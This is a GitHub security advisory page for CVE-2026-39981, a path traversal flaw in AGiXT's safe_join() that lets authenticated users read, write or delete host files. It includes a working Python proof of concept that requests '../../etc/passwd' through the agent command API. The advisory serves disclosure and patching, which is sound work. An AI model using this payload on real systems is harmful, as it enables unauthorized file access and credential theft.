GHSA-5GFJ-64GH-MGMW

Vulnerability from github – Published: 2026-04-08 20:02 – Updated: 2026-04-09 19:06
VLAI?
Summary
AGiXT Vulnerable to Path Traversal in safe_join()
Details

Summary

The safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.

Details

agixt/endpoints/Extension.py:165 (source) -> agixt/XT.py:1035 (hop) -> agixt/extensions/essential_abilities.py:436 (sink)

# source
command_args = command.command_args

# hop
response = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)

# sink
new_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split("/")))

PoC

# tested on: agixt<=1.9.1
# install: pip install agixt==1.9.1

import requests

BASE = "http://localhost:7437"
TOKEN = "<your_api_key>"

headers = {"Authorization": f"Bearer {TOKEN}"}

payload = {
    "command_name": "read_file",
    "command_args": {
        "filename": "../../etc/passwd"
    }
}

r = requests.post(f"{BASE}/api/agent/MyAgent/command", json=payload, headers=headers)
print(r.text)
# expected output: root:x:0:0:root:/root:/bin/bash ...

Impact

Authenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.

Severity ?
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.9.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "agixt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39981"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T20:02:01Z",
    "nvd_published_at": "2026-04-09T18:17:02Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.\n\n### Details\n`agixt/endpoints/Extension.py:165` (source) -\u003e `agixt/XT.py:1035` (hop) -\u003e `agixt/extensions/essential_abilities.py:436` (sink)\n\n```python\n# source\ncommand_args = command.command_args\n\n# hop\nresponse = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)\n\n# sink\nnew_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split(\"/\")))\n```\n### PoC\n \n```python\n# tested on: agixt\u003c=1.9.1\n# install: pip install agixt==1.9.1\n \nimport requests\n \nBASE = \"http://localhost:7437\"\nTOKEN = \"\u003cyour_api_key\u003e\"\n \nheaders = {\"Authorization\": f\"Bearer {TOKEN}\"}\n \npayload = {\n    \"command_name\": \"read_file\",\n    \"command_args\": {\n        \"filename\": \"../../etc/passwd\"\n    }\n}\n \nr = requests.post(f\"{BASE}/api/agent/MyAgent/command\", json=payload, headers=headers)\nprint(r.text)\n# expected output: root:x:0:0:root:/root:/bin/bash ...\n```\n \n### Impact\n \nAuthenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.",
  "id": "GHSA-5gfj-64gh-mgmw",
  "modified": "2026-04-09T19:06:04Z",
  "published": "2026-04-08T20:02:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39981"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Josh-XT/AGiXT"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AGiXT Vulnerable to Path Traversal in safe_join()"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.